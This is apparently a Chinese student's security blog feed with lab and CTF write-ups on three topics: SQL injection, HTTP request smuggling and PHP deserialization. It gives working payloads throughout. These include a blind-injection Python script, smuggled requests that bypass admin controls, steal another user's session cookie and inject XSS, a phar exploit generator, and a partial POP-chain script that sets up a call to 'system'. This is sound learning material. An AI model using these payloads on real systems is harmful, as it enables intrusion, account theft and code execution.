    SELECT id FROM users WHERE username='' AND passwd='' LIMIT 0,1;

    发送payload

    1
    username=admin'OR&passwd=OR'

    拼接后变成

    1
    SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1;

    编码绕过

    1
    2
    3
    -- SELECT username FROM users;
    SELECT char(117,115,101,114,110,97,109,101) FROM users;
    SELECT 0x757365726e616d65 FROM users;

    花括号语法

    1
    2
    {任意字母开头的标识符 有效的SQL语句}
    SELECT {a DATABASE()};

    花括号左边是注释（左边可以是任意字母，但不能是数字），
    右边是查询语句的一部分
    这个用的场景比较少啊 我自己想只能想到一些特定的WAF还有正则 记一下 还是挺特殊的

    无列名注入

    通常情况是columns被ban了或者information被ban了 等读取不到列名的情况 上面提到了用sys的一些库可以获取表名，但是sys库需要root权限才能访问。innodb在mysql中是默认关闭的。

    InnoDb

    从MYSQL5.5.8开始，InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中，inndb增加了innodb_index_stats和innodb_table_stats两张表，这两张表中都存储了数据库和其数据表的信息，但是没有存储列名。

    1
    2
    mysql.innodb_table_stats
    mysql.innodb_index_stats

    可以用来代替information_schema.tables查表名 例如

    1
    -1' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name='security'--+

    sys

    在5.7以上的MYSQL中，新增了sys数据库，该库的基础数据来自information_schema和performance_chema，其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

    1
    2
    3
    schema_table_statistics_with_buffer
    schema_table_statistics
    schema_auto_increment_columns

    设置别名来绕过列名

    union可以构造一个虚拟表。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    select 1,2,3 union select * from users; 
    +----+----------+------------+
    | 1  | 2        | 3          |
    +----+----------+------------+
    |  1 | 2        | 3          |
    |  1 | Dumb     | Dumb       |
    |  2 | Angelina | I-kill-you |
    |  3 | Dummy    | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin    | admin      |
    |  9 | admin1   | admin1     |
    | 10 | admin2   | admin2     |
    | 11 | admin3   | admin3     |
    | 12 | dhakkan  | dumbo      |
    | 14 | admin4   | admin4     |
    +----+----------+------------+
    select 字段数要和tables数一样
    后面用
    select `3` from (select 1,2,3 union select * from users)x;
    x不可以省略，这是别名

    如果反引号被过滤了，可以设置别名 as可以省略

    1
    select b from (select 1 a,2 b,3 c union select * from users)x;

    通过assic位移无列名注入

    首先可以通过类似这样的语句爆出字段数
    (select 1,2,3) > (select *from teacher)
    字段数相等会返回1，不相等则会报错 然后通过比较ascii大小爆数据。 脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    import requests
    import time

    def ascii_tuple_blind_injection(url, table_name, columns_count):
        """
        通过ASCII位移进行无列名注入
        """
        result = ""
        
        # 假设我们提取第一行第一列的数据
        for position in range(1, 100):  # 位置从1开始
            low, high = 32, 126  # ASCII范围
            
            while low <= high:
                mid = (low + high) // 2
                
                # 构造元组，假设要提取的列在第二个位置
                # (1, '猜测的字符串', 3, ...) 根据列数调整
                if columns_count == 2:
                    payload = f"(1,'{result + chr(mid)}')"
                elif columns_count == 3:
                    payload = f"(1,'{result + chr(mid)}',1)"
                # ... 根据实际列数构造
                
                # 完整的注入payload
                sql = f"2||({payload}>(select * from {table_name} limit 1))"
                
                data = {'id': sql}
                response = requests.post(url, data=data)
                
                if "错误标志" in response.text:  # 根据实际响应调整
                    # 猜测值 > 实际值，实际值在左半区
                    high = mid - 1
                else:
                    # 猜测值 <= 实际值，实际值在右半区
                    low = mid + 1
            
            # 找到实际字符
            actual_char = chr(low - 1) if low > 32 else ''
            if not actual_char or actual_char == chr(126):
                break  # 结束
            
            result += actual_char
            print(f"进度: {result}")
        
        return result
    ]]>     http://47.109.24.42/2026/02/09/sql/ 2026-02-08T16:00:00.000Z 搭完了个人博客 做ivory学长下发的任务 重新做sql靶场 加上补充知识点 sql是最开始学的 刚开始学的时候就只是问ai 基本语法都不是很了解就在写 这里相当于重新开始吧

    HTTP请求走私的原理

    HTTP 请求一个接一个地发送，接收服务器必须确定一个请求在哪里结束，下一个请求在哪里开始。需要保证前端和后端系统必须就请求之间的边界达成一致 否则，攻击者可能发送含义模糊的请求 后端会将其解释为两条不同的HTTP请求 belike

    使得攻击者能够在下一个合法用户的请求开头添加任意内容 在这个图片里面 也就是橙色内容 形象一点的例子

    前端优先处理第一个内容长度头部，后端优先处理第二个
    前端会将蓝色和橙色数据转发到后端，后端在发出响应前只会读取蓝色内容
    注入的“G”会破坏绿色用户的请求，他们可能会收到类似“未知方法 GPOST”的响应
    前端与后端不一致 是我理解的走私的根本 上面的例子也是举的最简单的例子（现实中基本不可能存在双重内容长度技术奏效的情况）看到这里 我在想这个有点像CSRF了 毕竟可以影响到下一个用户的真正请求 继续往下面看吧

    消息体的结束位置

    HTTP/1 规范提供了两种不同的方式来指定请求的结束位置：Content-Length标头和Transfer-Encoding标头

    1. Content-Length 它指定邮件正文的长度 比如 一段报文 上面的就省略了
      Content-Length: 11
      q=smuggling
    2. Transfer-Encoding 这个就要规范一点（也不是规范吧 总之就是感觉起来要严谨一些）指定消息体使用分块编码 每个数据块由以下部分组成：数据块大小（以字节为单位，十六进制表示）、换行符以及数据块内容 大概格式如下
    • 格式：Transfer-Encoding: chunked
    • 块格式：[chunk-size][\r\n][chunk-data][\r\n]
    • 结束块：0[\r\n][\r\n]
      接着我上面说的 感觉TE要严谨规范一点 所以如果收到的消息同时包含 Transfer-Encoding 标头字段和 Content-Length 标头字段，则必须忽略后者。

    HTTP 请求走私攻击类型

    • CL.TE：前端服务器使用Content-Length标头，后端服务器使用Transfer-Encoding标头。
    • TE.CL：前端服务器使用Transfer-Encoding标头，后端服务器使用Content-Length标头。
    • TE.TE：前端服务器和后端服务器都支持该Transfer-Encoding标头，但可以通过某种方式混淆该标头，使其中一个服务器不处理该标头
      下面我都会用自己的理解打一下bp里面最基础的靶场 主要是掌握一下原理
    1. CL.TE Content-Length 设置较短 后端会因等待下一个数据块而超时 这将导致明显的延迟 那么对于这个靶场

      设置的长度是6 导致超时了 也就是说后端后端会因为等待 X 到达而超时 那么符合CL.TE 也就是说

      当我这样构造时 前端识别到G才会完 可是后端看到0\r\n\r\n之后就会以为消息已经完了 那么剩下的G 将会分在下一次请求里面 从而构造出无效的GPOST请求 如下
    2. TE.CL（做完这个之后去看了信的博客…我真没剽窃）

      是的 我也是这样想的 这样子是前端全部发给后端 然后后端只能截取前三个 也就是1\r\n G就可以拼在下一个包里面 至于0 我以为这种作为结束的标志符号不会被拼接 结果哈哈

      居然也会被放进去
      这里不知道怎么弄了 因为0作为结束的 不被后端识别的话 肯好的会被放在下一包里面啊 然后看了信的博客 发现他居然最开始payload也和我一样

      还能这样 中间一整个作为data 然后前端先是全部发完 然后后端只收到4位之后就停下了 等第二个包发出来之后 居然还有数据 后端测到CL为6 但是前端发的一直到结束都只有5个 只能粘上第二个包了 这里刚开始太蠢了 卡了很久 总的说来 还是最开始没有理解清楚 都没有想到通道这个概念 到处模糊地去问学长
    3. TE.TE
      找到某种头部变体，Transfer-Encoding使得只有前端或后端服务器中的一个会处理它，而另一个服务器则会忽略它 原理很简单了 payload给完后重点去理解一下bp里面给的教学视频

    判断漏洞

    1. 计时计数
    1
    2
    3
    4
    5
    6
    Content-Length: 6
    Transfer-Encoding: chunked

    3
    abc
    X

    声明了分块传输（TE），但故意不发结束标志 0
    Timeout (超时) -> CL.TE： 这是最常见的情况。前端（CL）认为总共只有 6 字节，于是把全部内容发给后端 但后端（TE）认为这是分块传输，它读完了 abc 之后，一直在死等那个代表结束的 0。因为你永远没发 0，后端就一直等，直到连接超时
    Reject (前端拒绝) -> TE.CL 或 TE.TE： 如果前端本身就优先看 TE，它发现你这个分块格式不对（没有结尾），可能直接在前端就拦截并报错了
    Response (正常响应) -> CL.CL： 如果前后端都只看 CL，它们只读完 6 个字节就处理完了，所以会正常返回

    1
    2
    3
    4
    5
    6
    Content-Length: 6
    Transfer-Encoding: chunked

    0

    X

    Response (正常响应) -> TE.TE 或 CL.CL： 如果前后端协议一致（都看 TE 或都看 CL），它们都能正常处理完这 6 个字节，不会产生错位
    Socket Poison -> CL.TE： 前端（CL）把 6 个字节（含 X）全发了。后端（TE）读到 0\r\n\r\n 就认为第一个请求完了，把剩下的 X 留在了缓冲区。当你发第二个包时，会发现请求变成了 XPOST，从而验证了 CL.TE 漏洞
    Timeout (超时) -> TE.CL： 前端（TE）看到 0\r\n\r\n，认为请求已经结束了，所以它只转发了前 5 个字节给后端，那个 X 被前端丢弃或留在了前端。但后端（CL）死板地认为必须收到 6 个字节。于是后端卡住了，一直在等那个永远不会被转发过来的第 6 个字节（X），最终超时
    2. 差异化响应 其实原理就和上面靶场想让我们做的事情一样 靶场让我们改变请求 其实这里转到404 底层差不多的

    • CL.TE

      然后发一个get的包
    • TE.CL
      和之前发送GPOST原理完全一样

      payload直接抄 改一下GPOST 加个404即可

    HTTP走私利用

    1. 利用 HTTP 请求走私绕过前端安全控制，CL.TE 漏洞
      前端服务器阻止了对/admin的访问 需要向后端服务器发送一个请求 通过基础payload超时 判断出是CL.TE
      那么像之前一样提前0分块
    1
    2
    3
    4
    5
    6
    7
    Content-Length: 37
    Transfer-Encoding: chunked

    0

    GET /admin HTTP/1.1
    X-Ignore: X

    这里加上X-Ignore: X是因为和后面第二个包的GET就两个请求了 不能处理 这时候去发第二个包 已经可以看到
    HTTP/1.1 401 Unauthorized Admin interface only available to local users
    那么加上Host

    1
    2
    3
    4
    5
    6
    7
    8
    Content-Length: 54
    Transfer-Encoding: chunked

    0

    GET /admin HTTP/1.1
    Host: localhost
    X-Ignore: X

    这样子两个Host了 wp上面的方法

    1
    2
    3
    4
    5
    6
    GET /admin HTTP/1.1
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 3

    x=

    放第二个包就可以了
    2. 利用 HTTP 请求走私绕过前端安全控制，TE.CL 漏洞
    和上一个相差无几 也和之前的定向到/404一样 因为前端是TE 所以不需要管两个方法影响
    3. 在许多应用中，前端服务器会在将请求转发到后端服务器之前对其进行一些重写，通常是通过添加一些额外的请求头。例如，前端服务器可能会：

    • 终止 TLS 连接，并添加一些描述所用协议和密码的标头；
    • 添加X-Forwarded-For包含用户 IP 地址的标头；
    • 根据用户的会话令牌确定用户的 ID，并添加一个标识用户的标头；或者
    • 添加一些其他攻击者感兴趣的敏感信息。
      如果走私请求缺少前端服务器通常添加的一些标头，则后端服务器可能不会以正常方式处理请求，导致走私请求无法达到预期效果
      CL.TE漏洞

      第二个包

      确定可以了
      然后
      长度设置长一点

      这里可以看到前端改过之后的X-*-IP了
      放在第一个包里面 用前面学的x=来连上后面包的多余请求方式和Host
    1. 绕过身份验证 这个和上面很相似啦 我觉得都是不错的验证身份方法
      验证客户端身份的组件通常会通过一个或多个非标准 HTTP 标头，将证书中的相关详细信息传递给应用程序或后端服务器。例如，前端服务器有时会将包含客户端 CN 的标头附加到任何传入的请求中
      前端服务器往往会覆盖已经存在的这些请求头。然而，走私的请求对前端完全隐藏，因此它们包含的任何请求头都会原封不动地发送到后端。
      例如在CL.TE里面
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    POST /example HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: x-www-form-urlencoded
    Content-Length: 64
    Transfer-Encoding: chunked

    0

    GET /admin HTTP/1.1
    X-SSL-CLIENT-CN: administrator
    Foo: x

    教学里面没给TE.CL的 自己敲一个基础的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    POST /example HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: x-www-form-urlencoded
    Content-Length: 64
    Transfer-Encoding: chunked

    xx
    GET /admin HTTP/1.1
    X-SSL-CLIENT-CN: administrator
    Foo: x
    0

    1. 捕获其他用户的请求
      原理和前面得到前端重写的标头一模一样 靶场这里是CL.TE
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST / HTTP/1.1
    Host: YOUR-LAB-ID.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 256
    Transfer-Encoding: chunked

    0

    POST /post/comment HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 400
    Cookie: session=your-session-token

    csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test

    放第二个包时 能在渲染里面看到抓获的cookie 注意这里的CL长度是个技术活 短了可能得不到cookie 长了的话
    5. HTTP 请求走私实现反射型 XSS 攻击
    首先得找到xss地方 然后就好说了 判断漏洞 例题打的还是很通畅 CL.TE

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    Content-Length: 149
    Transfer-Encoding: chunked

    0

    GET /post?postId=5 HTTP/1.1
    User-Agent: 1"/><script>alert(1)</script>
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5

    x=
    1. 利用 HTTP 请求走私将站内重定向转换为开放重定向
      简单说：
      Apache 和 IIS 这俩服务器，默认有个规矩：
      你访问一个文件夹的网址时，如果网址最后没加斜杠（比如输 http://网站地址/文件夹名），服务器会自动跳转到同一个文件夹、但网址最后带斜杠的地址（也就是 http://网站地址/文件夹名/）。
    • web缓存投毒
      那么看看这道利用HTTP请求走私进行Web缓存投毒的例题
      如果前端基础设施的任何部分对内容进行缓存（通常是为了提升性能），那么攻击者就可能通过发送站外重定向响应来污染缓存
      先用简单payload测试是哪种漏洞 CL.TE

      先测试最基础的重定向和漏洞

      好的 302了
      那么看看自己定义Host

      添加好了 发第二个包去试看看

      确实是可以哈 那么就来自己确定文件了
      之后用他缓存的文件信息 30秒改缓存 那么就抓住时间 教学这里是27秒
    • Web缓存欺骗
      这个 我想想 和前面偷走前端重命名的标头那个很相似 不过这个不是吞走用户的请求头 是利用缓存从而查看关键字


      这里是看到API不会马上刷掉
      和上一道题一样 抓紧在静态资源更新时去发送攻击请求
    1
    2
    3
    4
    5
    6
    7
    Content-Length: 42
    Transfer-Encoding: chunked

    0

    GET /my-account HTTP/1.1
    X-Ignore: X

    这里不知道是什么原因找不到静态资源 很奇怪

    HTTP2走私

    1. HTTP/2 格式核心
      HTTP/1.1 是文本协议(ASCII 字符，用换行符分隔）
      HTTP/2 是二进制协议 HTTP/2 不再像 HTTP/1.1 那样把整个请求扔过去。它把数据切成一个个微小的帧 (Frame)
    • 帧 (Frame)：通信的最小单位。每个帧都有头部，说明了它是属于哪个流（Stream ID）、它的类型（Type）以及长度（Length）。
    • 类型：常见的有 HEADERS 帧（放 HTTP 头）、DATA 帧（放 POST body）、SETTINGS 帧等。
    1. 多路复用
      HTTP/1.1：第一个请求没处理完，第二个请求就得放在TCP缓存区等着
      HTTP/2：同一个 TCP 连接里，可以同时跑很多个请求。它们被打散成“帧”，乱序发送，然后在接收端根据 Stream ID 重新组装起来。
    2. 漏洞呢？
      在纯 HTTP/2 环境下（客户端->H2->服务端），走私很难发生，因为 H2 的帧长度是非常精准的，没有歧义。也就是说几乎不太可能找到走私了 但是….
      现实世界的架构通常是
    • 前端：支持 HTTP/2，负责高性能连接。
    • 后端：很多老旧应用或框架只支持 HTTP/1.1。
    • 中间过程：前端接收 H2 数据流，将其转换（降级为 HTTP/1.1 文本格式发给后端。
      漏洞显而易见 会出现在中间过程到后端的过程中 那么
      是否可以想到前面的http1的漏洞问题
      举个例子
      前端使用的是帧的长度来判断请求结束
      后端使用的是CL
    • 攻击者在 HTTP/2 的 HEADERS 帧中，故意注入一个 content-length 头（H2 协议本身不需要这个头，但允许存在）。
    • H2 代理将请求转换成 H1 发送给后端。
    • 后端看到 CL 头，提前截断请求。
    • 剩下的 Data 帧数据被留在 TCP 管道中，变成了下一个请求的开头。
      例题
      H2.CL
      利用404检测后端类型
    1
    2
    3
    4
    5
    6
    7
    POST / HTTP/2
    Host: qqqqqqqqq.web-security-academy.net
    Content-Length: 5

    x=1
    GET /frewfes HTTP/1.1
    x: x

    然后去发第二个包 404了
    证明后端确实只收到了x=1
    接下来就和上面的TE.CL一模一样了
    利用重定向去跳转

    1
    2
    3
    4
    5
    6
    7
    8
    9
    POST / HTTP/2
    Host: qqqqqqqq.web-security-academy.net
    Content-Length: 5

    x=1
    GET resources/js HTTP/1.1
    CL： 3

    x=

    进去攻击模块 一直去反复发送即可
    和http1.1的模式是完全一样的
    H2.TE与上面相同 只是后端停在TE特有的0分块上面 例题可以参考之前的CL.TE靶场
    4. CRLF injection
    基于前面两个基础的靶场 可能网站采取措施防止基本的 H2.CL 或 H2.TE 攻击，例如验证content-length或剥离任何transfer-encoding标头
    那么我们也许可以通过其他的标头和对应的值来在里面插入content-length或剥transfer-encoding标头
    例如

    之后再摆上对应漏洞的payload（这里是后端TE）
    然后发送第二个包 404了证明这样子添加后也可被后端识别到TE标头 接下来就是和之前一样了
    主要了解一下这个方法
    后面的靶场除了H2以外 与前面没有任何区别

    防御

    打了那么多靶场之后 我以攻击者的视角讲一下我眼中的防御

    1. 对于H1 保证使用前端后端的请求结束位置没有差异 也就是说前端后端使用的“定位机制”一样 然后对于特殊的TE.TE漏洞 做严格验证 不能通过混淆标头就绕过
    2. 对于H2 其实本身是完全没法利用的了 可以说是一步到位了 其中的漏洞几乎都是来自于没有端到端的使用 从而发送到后端的时候导致了HTTP协议的降级 另外对于CLRF的使用 对于请求头的使用（包含TE或者是CL）关于换行符 空格 冒号全部拒绝
    3. 对于服务器 如果在处理请求时触发服务器级异常，则默认丢弃连接
    ]]> http://47.109.24.42/2026/02/01/HTTP%20%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/ 2026-02-01T13:00:00.000Z HTTP请求走私的原理

    HTTP 请求一个接一个地发送，接收服务器必须确定一个请求在哪里结束]]>

    HTTP 请求走私 2026-02-01T13:00:00.000Z xiexie 一般的反序列化入口

    方法名触发时机 / 定义触发方式极简示例
    __construct创建对象时初始化new User();
    __destruct销毁对象时 (如脚本结束)$obj = null; 或 脚本执行完毕
    __sleep序列化前serialize($obj);
    __wakeup反序列化后unserialize($str);
    __serialize序列化时 (PHP 7.4+)serialize($obj);
    __unserialize反序列化时 (PHP 7.4+)unserialize($str);
    __set_state使用 var_export 导出时var_export($obj);
    __clone使用 clone 复制对象时$copy = clone $obj;
    一般跳板（pop链）
    方法名触发时机 / 定义触发方式极简示例
    __toString对象当字符串用时echo $obj; 或 $str = 'Text' . $obj;
    __invoke对象当函数用时$obj(); 或 call_user_func($obj);
    __call调用不存在的方法时$obj->noMethod();
    __callStatic静态调用不存在的方法时User::noMethod();
    __get读取不存在的属性时$val = $obj->noProp;
    __set设置不存在的属性时$obj->noProp = 'value';
    __isset检测不存在的属性时isset($obj->noProp); 或 empty($obj->noProp);
    __unset删除不存在的属性时unset($obj->noProp);
    __debugInfo使用 var_dump 打印时var_dump($obj);

    一边做题一边补充知识点吧。

    1. 这一关先定义了一个类，里面的函数是_destruct，也就是对象销毁之后自动执行，含有//和/都直接die，然后还有一个wakeup，是在反序列化的时候自动执行，会将查看的文件改为index.php，那么我们需要做到的是，绕过wakeup，在网上学习的方法，只要将序列化后的属性值改大，就可以绕过wakeup，这里问了ivory学长，最好不要手打序列化的结果，而是php里面自动输出，并且套一层urlencode，这里在下一关会埋下伏笔。 然后贴上我的源码，
    1
    2
    3
    4
    5
    6
    7
    8
    class SoFun{
        protected $file='flag1.php';
        }
    $obj = new SoFun();
    echo urlencode(serialize($obj));

    ?>```

    ，但是我发现转码过后我有点找不到属性值在哪了，太混乱了，所以我先没有转码了，而是先得到序列化之后的东西，然后就是把1改成2，然后再转码。
    2. 这里是wakeup之后，就可以响应，我们看这个正则匹配，不能是o或者c，然后加一个冒号，然后加一个数字，这就刚好限制了O：2（举个例子，就这种的都不行），而且后面还有这个不分大小写，那么大小写绕过就被淘汰了。这里在网上看到的，在数字面前加一个+，就可以绕过，就是这里，我太蠢了，我居然在url里面直接打了一个+，我都忘了之前sql注入的时候，+会被自动当作空格，然后就去找对应的编码，是%2b

    1
    2
    3
    4
    5
    6
    7
    8
    9
    class funny{

        }

    $obj = new funny();

    echo serialize($obj);

    ?>

    得到O:5:”funny”:0:{}，然后在5前面加上%2b
    3. 看第三关，定义了两个属性，然后如果wakeup的话，就会把一个不知道的东西赋给password，如果password严格等于verity的话，就得到flag。这个确实是没有头绪，然后去问了ai，说在类的内部就直接是他们共享一个值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    <?php class funny {
        private $password;
        public $verify;
        public function __construct() {
            $this->verify = &$this->password; 
        }
    }
    $o = new funny();
    echo urlencode(serialize($o));
    ?>

    =&是引用符号，这样就可以让这两个属性持续相等。
    4. ini_set() 设置 PHP 的会话序列化处理器为php_serialize，会话数据将以 PHP 的默认序列化格式进行存储 GET 变量 tryhackme 的值存储到 $_SESSION 数组中，这个数组最终被序列化 Session：服务器用来存储用户会话状态（比如登录状态、用户 ID、购物车信息）的机制，避免每次请求都重新验证用户
    PHP 中 session 序列化的关键细节

    • PHP 默认使用php序列化处理器（对应serialize()函数），也支持php_serialize、php_binary等格式。它对$_SESSION的序列化规则非常特殊：
      对于 $_SESSION['键名'] = 数据，最终存储的字符串格式是：键名|序列化后的数值
    • session 数据默认存储在服务器的临时文件中（比如/tmp/sess_xxxxxx，xxxxxx是 session_id）。
      典型的 session 反序列化漏洞，即两个⻚面设置的的session 序列化方式不同
      这里42是能通过直接创建一个funny的实例 销毁了过后直接就flag了 4这里是储存到会话 然后serialize() 负责 “写入 session 数据”（用php_serialize格式）php处理器解析 session 数据时，会按第一个 | 把字符串拆成「键名」和「要反序列化的值」|左边被当成空键名，|右边的funny对象序列化字符串会被当成 “值”，触发反序列化。
      class funny{
       public $a;
      }
      $x = new funny;
      echo urlencode(“|” . serialize($x));
      全过程 php处理器解析 session 数据：
      把a:1:{s:8:”tryhackme”;s:31:”|O:5:”funny”:1:{s:1:”a”;N;}”;}当成普通字符串（因为php处理器不认识php_serialize的数组格式）；
      按第一个 | 分割：左边是a:1:{s:8:”tryhackme”;s:31:”（被当成键名），右边是O:5:”funny”:1:{s:1:”a”;N;}（被当成 “值”）；
      PHP 自动对右边的funny对象序列化字符串执行unserialize() → 生成funny对象
    1. 这里其实并不是在考pop链，我们看条件很简单，只需要创建一个对象然后就出发类里面的第一个函数construct，之后等结束又出发destruct，就自动出flag了，那么重要的就是看他是怎么反序列化的，发现这里对序列化的结果有要求，ascii，这个之前做sql的时候学过，反正注意这里的属性是私有化的，那么在序列化之后就会在类名和属性名前都加上空格\0，这个的ascii码是0，直接死了，可以用16进制过了。
    2. $a() 意味着
    • PHP会尝试调用 $a 这个变量
    • 如果 $a 是函数名，就调用该函数
    • 如果 $a 是数组 [对象, 方法名]，就调用该对象的方法，
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php

    class funny {

    }

    $array=[new funny(),'pyflag'];

    echo serialize($array);

    ?>

    这样子就可以做到调用new funny->pyflag,然后响应flag，这道题完全没有用到魔术方法，只用类本身的方式来做。
    7. 先看到有个__destruct，在对象被销毁的时候自动响应flag，然后又看到下面，先得到a传参的值 b还传一个 内层的 if 检查文件是否已存在，else if 拼接文件路径 $filename = “./upload/<
    随机数>.txt” 。然后获取 GET 参数 data，将 base64 解码内容写入到文件 $filename
    这里学到的新知识 结合ai还有文章
    先明确：phar 是什么？
    phar 是 PHP 的归档文件格式（类似 ZIP），用于打包多个 PHP 文件 / 资源成一个文件，方便分发和使用。
    它的核心结构包含 4 部分：
    Stub（标识头）：必须以<?php __HALT_COMPILER(); ?>结尾，是 PHP 识别 phar 文件的标记（可自定义前缀，比如伪装成图片：GIF89a<?php __HALT_COMPILER(); ?>）。
    Manifest（清单）：存储 phar 包含的文件信息 +元数据（metadata）—— 而元数据是用serialize()序列化后存储的（这是漏洞的关键！）。
    文件内容：归档的实际文件数据。
    签名：可选的完整性校验信息

    PHP 在解析 phar 文件时，会自动将其元数据（序列化后的字符串）进行反序列化操作—— 无论你用什么函数读取 phar 文件，只要触发了 phar 的解析，元数据就会被反序列化。

    而 PHP 的很多文件操作函数（如file_exists()、file_get_contents()、fopen()、unlink()等）支持phar://协议（类似file://），只要给这些函数传入phar://文件路径，就会触发 phar 文件的解析，进而触发元数据的反序列化。

    如果元数据中包含恶意序列化对象（比如带有__wakeup()、__destruct()等魔术方法的类，这些方法会在反序列化时自动执行），就会触发代码执行，形成漏洞。
    然后读取文件内容，进行编码
    $content = file_get_contents(‘a.phar’);
    echo urlencode(base64_encode($content)) . “
    “;
    我贴一下源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    <?php

    // 1. 定义核心恶意类：funny
    class funny{
        // __destruct()是PHP魔术方法：当对象被销毁（如脚本结束、unset、反序列化后）时自动执行
        function __destruct() {
            // global $flag：声明使用全局变量$flag（目标服务器中通常存储flag）
            global $flag;
            // 输出$flag——这是漏洞利用的最终目标（获取flag）
            echo $flag;
        }
    }

    // 2. 清理旧文件：避免同名文件导致创建失败
    // @：抑制unlink的错误（比如文件不存在时的报错）
    @unlink("exp1.phar");

    // 3. 创建phar文件核心流程
    // 实例化Phar类，创建exp1.phar文件（后缀必须是.phar，PHP识别phar文件的基础）
    $phar = new Phar("exp1.phar");

    // 开启phar缓冲区：所有操作先写入内存，不直接刷到磁盘（避免频繁IO）
    $phar->startBuffering();

    // 设置phar的Stub（标识头）：必须以<?php __HALT_COMPILER(); ?>结尾，PHP才能识别为phar文件
    // 这是phar文件的“身份标识”，无此内容PHP不会解析为phar文件
    $phar->setStub("<?php __HALT_COMPILER(); ?>");

    // 关键：创建funny类的实例（对象）
    $b =new funny();

    // 将funny对象存入phar的元数据（metadata）
    // 注意注释：不用手动serialize()——Phar类会自动将传入的对象序列化后存入manifest（清单）
    $phar->setMetadata($b);

    // 向phar归档中添加一个空文件（test.txt），内容为"test"
    // 核心要求：phar文件必须包含至少一个文件内容（否则创建失败），这行是满足格式要求的“占位符”
    $phar->addFromString("test.txt", "test");

    // 结束缓冲区：将内存中的操作刷到磁盘，自动计算phar文件的签名（完成创建）
    $phar->stopBuffering();

    // 4. 读取并编码phar文件内容
    // 读取生成的exp1.phar文件的二进制内容
    $content = file_get_contents('exp1.phar');

    // 先base64编码（处理二进制内容），再urlencode（避免传输时乱码），最后换行
    echo urlencode(base64_encode($content)) . "<br>";

    上传过后 会给一个路径 这就是文件所在的路径 去反序列化它 也就是php解析它就可以了
    8. 这道题有很多个类，每个类里面都有不止一个函数，那么我们肯定想的是构造pop链，先确定要怎么触发，我们先来确定开始和终点，这里源码的末尾，是把发送的东西反序列化了，我们就可以先想到开头，可能会是c类里面的construct。a类里面的resolve函数应该是终点，因为里面就可以响应到flag，假设一下 比如起点是最好触发的destruct开始 这里会调用一个add方法 是不存在的方法call 这里这个函数 拼接起来就是调用到addme方法嘛 然后会返回字符串 就到了tostring 这里访问了string属性 并不存在于a里面 那么触发get get($name) 里的 $name，
    永远等于你写在 -> 后面的那个名字 前面属性名是 字面量 string
    插入规则 规则原文级别的结论
    当访问
    obj->prop 时，如果该属性在当前作用域中不可访问，PHP 会调用 get(“prop”) 也就是说$this->string["string"]();调用resolve
    看了半天wp 也没有看懂这个为啥能用到 这里补充知识点
    array_walk：这个函数接受一个数组和一个回调函数，将数组中的每个元素作为参数
    传递给回调函数
    此外，将一个对象传递给需要数组的函数时，PHP 会将对象转换为对象的公共属性
    数组来处理，所以第一个参数可以传 $this
    对象传入 array_walk 时，它会遍历对象的每个公共属性，并将每个属性值和属性名
    传递给回调函数，回调函数两个参数分别为 属性值 和 属性名
    原来如此 那么我先尝试自己口述一次
    先创造个a1实例 销毁后调用des 为了触发call a1的this->object作为b 这里用到addme 会出字符串
    当 PHP 执行：
    “字符串” . $x

    • $x 是字符串 → 直接用

    • $x 是数字 → 转字符串

    • $x 是对象 → 尝试调用 $x->__toString()
      触发tostring
      然后call c = new c(array(“string”=>array($a2, “resolve”)));
      创建一个对象 c，
      它的私有属性 $string 是一个数组，
      当别人访问 $c->string 时，
      就自动调用 $a2->resolve()。
      私有属性不知道怎么搞了
      看了文章的反射

    1
    $refc = new ReflectionClass($c);

    内部结构对象 此时 $refc 里包含：

    • 类名
    • 所有属性（包括 private）
    • 所有方法
    • 可见性信息
    1
    $propString = $refc->getProperty('string');

    在类 c 里，找到那个叫 string 的属性

    1
    $propString->setAccessible(true);

    强行关闭可见性检查 

    1
    $propString->setValue($c, ["string" => [$a2, "resolve"]]);

    直接往对象内存里写值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    <?php
    class a {
        public $object;
        public $ls; // 必须有这个属性，值为['system']
    }

    class b {
        protected $filename; // 受保护属性，需通过反射赋值
    }

    class c {
        private $string; // 私有属性，需通过反射赋值
    }

    // 1. 构建最终触发resolve的a实例（a2）
    $a2 = new a();
    $a2->ls = ['system']; // 满足resolve的条件：$prev=ls，$fn[0]=system

    // 2. 构建c实例，让其__get触发a2->resolve()
    $c = new c();
